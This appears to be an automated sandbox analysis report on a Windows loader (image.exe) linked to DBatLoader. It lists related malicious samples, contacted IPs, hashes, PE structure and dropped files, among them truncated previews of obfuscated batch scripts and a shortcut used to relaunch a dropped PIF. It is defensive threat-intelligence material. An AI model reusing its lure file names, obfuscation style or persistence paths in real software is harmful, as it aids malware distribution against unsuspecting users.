                                                                                                                                                3b5074b1b5d032e5620f69f9f700ff0eDHL DOC INV 191224.gz.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                NOTIFICATION_OF_DEPENDANTS_1.vbsGet hashmaliciousXmrigBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                CRf9KBk4ra.exeGet hashmaliciousDCRatBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                7FEGBYFBHFBJH32.exeGet hashmalicious44Caliber Stealer, BlackGuard, Rags StealerBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                test.doc.bin.docGet hashmaliciousUnknownBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                web44.mp4.htaGet hashmaliciousLummaCBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                test.doc.bin.docGet hashmaliciousUnknownBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                eP6sjvTqJa.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                YGk3y6Tdix.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                1.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                • 149.154.167.220
                                                                                                                                                a0e9f5d64349fb13191bc781f81f42e1MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zipGet hashmaliciousUnknownBrowse
                                                                                                                                                • 23.237.26.135
                                                                                                                                                MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zipGet hashmaliciousUnknownBrowse
                                                                                                                                                • 23.237.26.135
                                                                                                                                                MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zipGet hashmaliciousUnknownBrowse
                                                                                                                                                • 23.237.26.135
                                                                                                                                                Setup.exe.7zGet hashmaliciousUnknownBrowse
                                                                                                                                                • 23.237.26.135
                                                                                                                                                176.113.115.170.ps1Get hashmaliciousLummaCBrowse
                                                                                                                                                • 23.237.26.135
                                                                                                                                                ETVk1yP43q.exeGet hashmaliciousAZORultBrowse
                                                                                                                                                • 23.237.26.135
                                                                                                                                                UhsjR3ZFTD.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                • 23.237.26.135
                                                                                                                                                KRNL.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                • 23.237.26.135
                                                                                                                                                Setup.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                • 23.237.26.135
                                                                                                                                                SET_UP.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                • 23.237.26.135

                                                                                                                                                Dropped Files

                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                C:\Users\Public\Libraries\nhpoymuP.pifPO_KB#67897.cmdGet hashmaliciousDBatLoader, MassLogger RAT, PureLog StealerBrowse
                                                                                                                                                  Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                    Delivery form - Airway bill details - Tracking info 45821631127I ,pdf.scr.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                      RTD20241038II Listed Parts And Quotation Request ,pdf.scr.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                        Delivery Confirmation Forms - Contact Form TS4047117 pdf.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                          F.O Pump Istek,Docx.batGet hashmaliciousDBatLoader, PureLog Stealer, Snake KeyloggerBrowse
                                                                                                                                                            D.G Governor Istek,Docx.exeGet hashmaliciousDBatLoader, PureLog Stealer, Snake KeyloggerBrowse
                                                                                                                                                              qDKTsL1y44.exeGet hashmaliciousDBatLoaderBrowse
                                                                                                                                                                PRODUCT.batGet hashmaliciousAveMaria, DBatLoader, UACMeBrowse
                                                                                                                                                                  purchaseorder.batGet hashmaliciousAveMaria, DBatLoader, UACMeBrowse

                                                                                                                                                                    Created / dropped Files

                                                                                                                                                                    C:\Users\Public\Libraries\FX.cmd

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Users\user\Desktop\image.exe
                                                                                                                                                                    File Type:DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):8556
                                                                                                                                                                    Entropy (8bit):4.623706637784657
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:192:dSSQx41VVrTlS2owuuWTtkY16Wdhdsu0mYKDCIfYaYuX1fcDuy:Vrhgwuua5vdnQaCIVJF6uy
                                                                                                                                                                    MD5:60CD0BE570DECD49E4798554639A05AE
                                                                                                                                                                    SHA1:BD7BED69D9AB9A20B5263D74921C453F38477BCB
                                                                                                                                                                    SHA-256:CA6A6C849496453990BECEEF8C192D90908C0C615FA0A1D01BCD464BAD6966A5
                                                                                                                                                                    SHA-512:AB3DBDB4ED95A0CB4072B23DD241149F48ECFF8A69F16D81648E825D9D81A55954E5DD9BC46D3D7408421DF30C901B9AD1385D1E70793FA8D715C86C9E800C57
                                                                                                                                                                    Malicious:true
                                                                                                                                                                    Preview:@echo off..set "MJtc=Iet "..@%.r.......%e%...%c%...r....%h%.....%o%........% % .....%o%...%f%.o.%f%......%..s%.......%e%.%t%.. .....% %.rr.. .%"%...%w%......%o%...o..%t%r.....%c%....%=%... . .%s%...... %e%....%t%....% %........ %"% o...%..%wotc%"%.%n% r .%O%...%P%.. ..%t%.%=%...... o..%=%......%"%....r...%..%wotc%"aeeYdDdanR%nOPt%s://"..%wotc%"%..........%a%.%e%......%e%.r..%Y%..%d%.....r....%D%.. %d% ... .%a%.. ...%n%.. ..%R%........%%nOPt%s%...... .%:%.. %/%....%/%r......%"%.....r.%..%wotc%"%...... ...%U%.o..%g%.r.%

                                                                                                                                                                    C:\Users\Public\Libraries\NEO.cmd

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Users\user\Desktop\image.exe
                                                                                                                                                                    File Type:DOS batch file, Unicode text, UTF-8 text, with very long lines (420), with CRLF line terminators
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):46543
                                                                                                                                                                    Entropy (8bit):4.705001079878445
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:768:Ud6T6yIssKMyD/LgZ0+9Z2noufIBUEADZQp2H8ZLq:UdQFIssKMyjL4X2T8UbZT
                                                                                                                                                                    MD5:637A66953F03B084808934ED7DF7192F
                                                                                                                                                                    SHA1:D3AE40DFF4894972A141A631900BD3BB8C441696
                                                                                                                                                                    SHA-256:41E1F89A5F96F94C2C021FBC08EA1A10EA30DAEA62492F46A7F763385F95EC20
                                                                                                                                                                    SHA-512:2A0FEDD85722A2701D57AA751D5ACAA36BBD31778E5D2B51A5A1B21A687B9261F4685FD12E894244EA80B194C76E722B13433AD9B649625D2BC2DB4365991EA3
                                                                                                                                                                    Malicious:false
                                                                                                                                                                    Preview:@echo off..set "EPD=sPDet "..@%...... or%e%.........%c%......%h%.........o%o%.or......% %.o.ro...%o%.%f%...r.....%f%....r....%..s%. %e%.....%t% % % rrr....%"%.....%E%....%J%.. ....%O%.%h% .......%=%........%s%.. ..%e%....%t%....% %...o...%"%.%..%EJOh%"%.%r% %H%..%C%........%N%....o ....%=%..........%=% .%"%..%..%EJOh%"%.....%K%.%z%..r%j%........%L%..%c%. o.......%f%. o..%x%.%X%.........r%V%.%J%.....%%rHCN%k%.... ...%"%........%..%EJOh%"%.o.....%a%or%g%..o.... ..%u% ..%P%.....o...%X%.. .......%c% .....%U%.%I%. .

                                                                                                                                                                    C:\Users\Public\Libraries\Pumyophn

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Users\user\Desktop\image.exe
                                                                                                                                                                    File Type:data
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):574971
                                                                                                                                                                    Entropy (8bit):7.297176055661517
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:12288:Q5bKXmZRx3G8vBoSUQsLDjXwLIMn0h8OYRBl3VjUcSxxi1nHW8:QtK8cK0fYXvjUtxs1nZ
                                                                                                                                                                    MD5:26622661AD22FDCDCDED07D05849F80C
                                                                                                                                                                    SHA1:5537ED245EE64F9F28F5E7D47CA282B6D193EDEC
                                                                                                                                                                    SHA-256:6B1045357EBF002C11638B1A3F371D6E3F6E6DB433FBC441307F99B8E350D3A9
                                                                                                                                                                    SHA-512:ED383D3CDE666B63FE17BA005CA2EB0AFE1BD1BBAD7631CA977E33328B6DA70DAAF7D37C0C51BA1694FFC14A73FA12C65FB5121AAFEE98647304FD0E1F739DF5
                                                                                                                                                                    Malicious:true
                                                                                                                                                                    Preview:...Y#..K'"."......"."&.'.#....%..&. #."&..&.............".'#......."......Y#..K.".&..........Y#..KK............K.............NV...............Z..............KZ..............W......}......V.............Z..............Z..............W..............N..............K.............Z...........................N.............KW............}Z.......}.....................................W...............U...................................}.......V............US..............M..........................V...............S.............MU..........................................".MMR.......|...........S...U.V..~~...+P.KU....N.LLW.Q....|...$....|.......".K.L+..M..........~..!QT.VUS".&#.L....&.NKK.V'....L...|.................%...#.ZNO.LX&"UWOPP........~..."..+ . ...NT..N.................Q...V..SROOX..%%OVN..).V..QL.M.".U.OR........|.|...$TY.[..L..............%.Z!NYT.+....%...~........'....%"..R..M.S.N..........L...P.SM.~~...............PW....NNV.}Z...OO...&.&.T..Y

                                                                                                                                                                    C:\Users\Public\Libraries\Pumyophn.PIF

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Users\user\Desktop\image.exe
                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):2143232
                                                                                                                                                                    Entropy (8bit):7.486458111867687
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:49152:gdqswGco/j1HEFW1bB9HI8QrwiycY5vtxqpGAGco/j1HEFW1bB9HI8QrwiycY5vu:g8swjWdbwjWdb
                                                                                                                                                                    MD5:4F481037138109F314141B4FEDE21F87
                                                                                                                                                                    SHA1:E28504F330D3D8586D36E3FF270FDFC0821E0CC2
                                                                                                                                                                    SHA-256:F65D5F51C5B69891D73C3799B4ED4D53FEA665A6EF5B3D0CCE8CAE1E96C0E785
                                                                                                                                                                    SHA-512:4E30BA43E8C8F5BB4810C4AC7A8F6BDFDD40C8A6B0DE97B0F114AC1F6D326493BEFA8621941B178ECE263DA16F5081F93B6FB09A030670DF54658F42CD866EC4
                                                                                                                                                                    Malicious:true
                                                                                                                                                                    Antivirus:
                                                                                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 16%
                                                                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................*...........8.......@....@..........................@!..................@...........................@...%.......>.......................l...................................................G...............................text............ .................. ..`.itext..T....0.......$.............. ..`.data... ....@......................@....bss.....6...............................idata...%...@...&..................@....tls....4....p...........................rdata..............................@..@.reloc...l.......n..................@..B.rsrc....>.......>...v..............@..@.............@!....... .............@..@................................................................................................

                                                                                                                                                                    C:\Users\Public\Libraries\nhpoymuP.pif

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Users\user\Desktop\image.exe
                                                                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):175800
                                                                                                                                                                    Entropy (8bit):6.631791793070417
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:3072:qjyOm0e6/bIhbuwxlEb1MpG+xUEyAn0fYuDGOpPXFZ7on+gUxloDMq:qjyl6ebX45OG+xUEWfYUGOpPXFZ7on+G
                                                                                                                                                                    MD5:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                                    SHA1:2A001C30BA79A19CEAF6A09C3567C70311760AA4
                                                                                                                                                                    SHA-256:BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
                                                                                                                                                                    SHA-512:C7F5BAAD732424B975A426867D3D8B5424AA830AA172ED0FF0EF630070BF2B4213750E123A36D8C5A741E22D3999CA1D7E77C62D4B77D6295B20A38114B7843C
                                                                                                                                                                    Malicious:true
                                                                                                                                                                    Antivirus:
                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 3%
                                                                                                                                                                    Joe Sandbox View:
                                                                                                                                                                    • Filename: PO_KB#67897.cmd, Detection: malicious, Browse
                                                                                                                                                                    • Filename: Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe, Detection: malicious, Browse
                                                                                                                                                                    • Filename: Delivery form - Airway bill details - Tracking info 45821631127I ,pdf.scr.exe, Detection: malicious, Browse
                                                                                                                                                                    • Filename: RTD20241038II Listed Parts And Quotation Request ,pdf.scr.exe, Detection: malicious, Browse
                                                                                                                                                                    • Filename: Delivery Confirmation Forms - Contact Form TS4047117 pdf.exe, Detection: malicious, Browse
                                                                                                                                                                    • Filename: F.O Pump Istek,Docx.bat, Detection: malicious, Browse
                                                                                                                                                                    • Filename: D.G Governor Istek,Docx.exe, Detection: malicious, Browse
                                                                                                                                                                    • Filename: qDKTsL1y44.exe, Detection: malicious, Browse
                                                                                                                                                                    • Filename: PRODUCT.bat, Detection: malicious, Browse
                                                                                                                                                                    • Filename: purchaseorder.bat, Detection: malicious, Browse
                                                                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....>.{..................................... ....@.......................... .......c........... ..............................................................H....................................................................................text............................... ..`.data........ ...P..................@....tls.................`..............@....rdata...............b..............@..P.idata... ...........d..............@..@.edata...............|..8...,...@...@..@

                                                                                                                                                                    C:\Users\Public\Pumyophn.url

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Users\user\Desktop\image.exe
                                                                                                                                                                    File Type:MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Pumyophn.PIF">), ASCII text, with CRLF line terminators
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):104
                                                                                                                                                                    Entropy (8bit):5.113807690345954
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:3:HRAbABGQYmTWAX+rSF55i0XMcO11sjSsbxvWXAn:HRYFVmTWDyzG1sjSExNn
                                                                                                                                                                    MD5:086B55A3EA62B51C9AEA3B39563BA32F
                                                                                                                                                                    SHA1:36B17F81008B2A6E00FFB28297423635D31A48EA
                                                                                                                                                                    SHA-256:55FD91784631B17DC3037AFD4B5F84483E8D011B06C5E3B9EB2716B186B7F099
                                                                                                                                                                    SHA-512:F5A6087F6CCE6DC035FC08CFFF5A0A67C38BC32597E2FC6EB0BBB32A8663B52D9E2B6DF8A34E15B0010565364A6F597F73AC939D2363EB281F38142C05A14F26
                                                                                                                                                                    Malicious:true
                                                                                                                                                                    Preview:[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Pumyophn.PIF"..IconIndex=979466..HotKey=90..

                                                                                                                                                                    C:\Users\Public\PumyophnF.cmd

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Users\user\Desktop\image.exe
                                                                                                                                                                    File Type:DOS batch file, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):15789
                                                                                                                                                                    Entropy (8bit):4.658965888116939
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:384:wleG1594aKczJRP1dADCDswtJPZ9KZVst1U:LA4aLz08JaJ
                                                                                                                                                                    MD5:CCE3C4AEE8C122DD8C44E64BD7884D83
                                                                                                                                                                    SHA1:C555C812A9145E2CBC66C7C64BA754B0C7528D6D
                                                                                                                                                                    SHA-256:4A12ABB62DD0E5E1391FD51B7448EF4B9DA3B3DC83FF02FB111E15D6A093B5E8
                                                                                                                                                                    SHA-512:EA23EDFB8E3CDA49B78623F6CD8D0294A4F4B9B11570E8478864EBDEE39FCC6B8175B52EB947ED904BE27B5AF2535B9CA08595814557AE569020861A133D827D
                                                                                                                                                                    Malicious:false
                                                                                                                                                                    Preview:.@echo off..@% %e%.%c%o..%h%. .......%o%r.r.r.....% %.......%o%..%f% .%f%o%..s%...... .%e%.r.%t%...o..r.% %.....%"%.......%u%.%T%r..%A%..%j%r........%=%.. o......%s%....o...%e%.....%t%.% %........%"%.r.......o%..%uTAj%"%.. . ..%N%.r r.... %U%... .oo...%M%r.........%j%.....%=%.....o....%=%.%"%r...... %..%uTAj%"% .....%m%..oo%X%.o.. %m%.....or.%w%....%O%.%g%.....%B%.o .r.. %W%..%D%........%t%o.r...%%NUMj%h% ...o.%t%..%t%o......o%p%.........%"% .r%..%uTAj%"% .... ..%G%...o.. ..%n%..rr..%j%..o......%D%...o .r..%R%r.

                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\nhpoymuP.pif.log

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):1128
                                                                                                                                                                    Entropy (8bit):5.352137456245207
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:24:MLUE4K5E4Ke84qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze41qE4j:MIHK5HKeviYHKh3oPtHo6hAHKze41qHj
                                                                                                                                                                    MD5:C3F086C417482CFF672BDB6FE1073D36
                                                                                                                                                                    SHA1:0FC348E65FA3FEDD460D9AD2AAE4502D8AF56CA3
                                                                                                                                                                    SHA-256:3365A38477C65D42A024EE5DCC696F45EB79186E9A1B0C4CC00BBF828C408779
                                                                                                                                                                    SHA-512:4485A5C0C0619CCF2292A3619F45F8A06F5E6AB0FDACF27989606C6058EF020C28E38316773A19393C09DF1B2EEFA0E7005BA98B6C54A300DC4A65CDBA522A01
                                                                                                                                                                    Malicious:false
                                                                                                                                                                    Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e

                                                                                                                                                                    Static File Info

                                                                                                                                                                    General

                                                                                                                                                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                    Entropy (8bit):7.486458111867687
                                                                                                                                                                    TrID:
                                                                                                                                                                    • Win32 Executable (generic) a (10002005/4) 99.81%
                                                                                                                                                                    • Windows Screen Saver (13104/52) 0.13%
                                                                                                                                                                    • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                                                                                                    • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                    • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                    File name:image.exe
                                                                                                                                                                    File size:2'143'232 bytes
                                                                                                                                                                    MD5:4f481037138109f314141b4fede21f87
                                                                                                                                                                    SHA1:e28504f330d3d8586d36e3ff270fdfc0821e0cc2
                                                                                                                                                                    SHA256:f65d5f51c5b69891d73c3799b4ed4d53fea665a6ef5b3d0cce8cae1e96c0e785
                                                                                                                                                                    SHA512:4e30ba43e8c8f5bb4810c4ac7a8f6bdfdd40c8a6b0de97b0f114ac1f6d326493befa8621941b178ece263da16f5081f93b6fb09a030670df54658f42cd866ec4
                                                                                                                                                                    SSDEEP:49152:gdqswGco/j1HEFW1bB9HI8QrwiycY5vtxqpGAGco/j1HEFW1bB9HI8QrwiycY5vu:g8swjWdbwjWdb
                                                                                                                                                                    TLSH:A9A5D073EA60F0B4EDBA37FC48075298D55D3E355ED7B8BE22DDAA4427207123868346
                                                                                                                                                                    File Content Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

                                                                                                                                                                    File Icon

                                                                                                                                                                    Icon Hash:fdfdffffffffff7f

                                                                                                                                                                    Static PE Info

                                                                                                                                                                    General

                                                                                                                                                                    Entrypoint:0x46380c
                                                                                                                                                                    Entrypoint Section:.itext
                                                                                                                                                                    Digitally signed:false
                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                    Subsystem:windows gui
                                                                                                                                                                    Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                                                                                                                                                                    DLL Characteristics:
                                                                                                                                                                    Time Stamp:0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
                                                                                                                                                                    TLS Callbacks:
                                                                                                                                                                    CLR (.Net) Version:
                                                                                                                                                                    OS Version Major:4
                                                                                                                                                                    OS Version Minor:0
                                                                                                                                                                    File Version Major:4
                                                                                                                                                                    File Version Minor:0
                                                                                                                                                                    Subsystem Version Major:4
                                                                                                                                                                    Subsystem Version Minor:0
                                                                                                                                                                    Import Hash:c1249b2dc81238026e760db6b73b768c

                                                                                                                                                                    Entrypoint Preview

                                                                                                                                                                    Instruction
                                                                                                                                                                    push ebp
                                                                                                                                                                    mov ebp, esp
                                                                                                                                                                    add esp, FFFFFFF0h
                                                                                                                                                                    mov eax, 00462D44h
                                                                                                                                                                    call 00007F59D0DD8E7Dh
                                                                                                                                                                    mov eax, dword ptr [0052EF7Ch]
                                                                                                                                                                    mov eax, dword ptr [eax]
                                                                                                                                                                    call 00007F59D0E2637Dh
                                                                                                                                                                    mov ecx, dword ptr [0052ED90h]
                                                                                                                                                                    mov eax, dword ptr [0052EF7Ch]
                                                                                                                                                                    mov eax, dword ptr [eax]
                                                                                                                                                                    mov edx, dword ptr [004628E4h]
                                                                                                                                                                    call 00007F59D0E2637Dh
                                                                                                                                                                    mov eax, dword ptr [0052EF7Ch]
                                                                                                                                                                    mov eax, dword ptr [eax]
                                                                                                                                                                    call 00007F59D0E263F1h
                                                                                                                                                                    call 00007F59D0DD6C60h
                                                                                                                                                                    lea eax, dword ptr [eax+00h]
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al
                                                                                                                                                                    add byte ptr [eax], al

                                                                                                                                                                    Data Directories

                                                                                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x1340000x25ac.idata
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x1400000xd3e00.rsrc
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x1390000x6cd8.reloc
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x1380000x18.rdata
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x13471c0x5dc.idata
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                    Sections

                                                                                                                                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                    .text0x10000x61fe40x6200054bccdfb230aecbacc5dc4836bb40e62False0.5120401187818877data6.547957158295364IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                    .itext0x630000x8540xa00f9a41c84e5fdd4f1ee3395fb29f42e84False0.523828125data5.584231542920759IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                    .data0x640000xcb1200xcb20032f5488777573715b7c26ec0cc7df7fbFalse0.6564915865384615data7.464477581988218IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                    .bss0x1300000x369c0x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                    .idata0x1340000x25ac0x2600902f126de362c99ae2b20adf830938cbFalse0.31938733552631576data5.045673551358589IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                    .tls0x1370000x340x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                    .rdata0x1380000x180x2004b2adcf7cfdd802a95428d44a20a5f89False0.05078125data0.2108262677871819IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                    .reloc0x1390000x6cd80x6e000278e681effa7fbcc52ec0b51ce696abFalse0.6368607954545454data6.6913122302764805IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
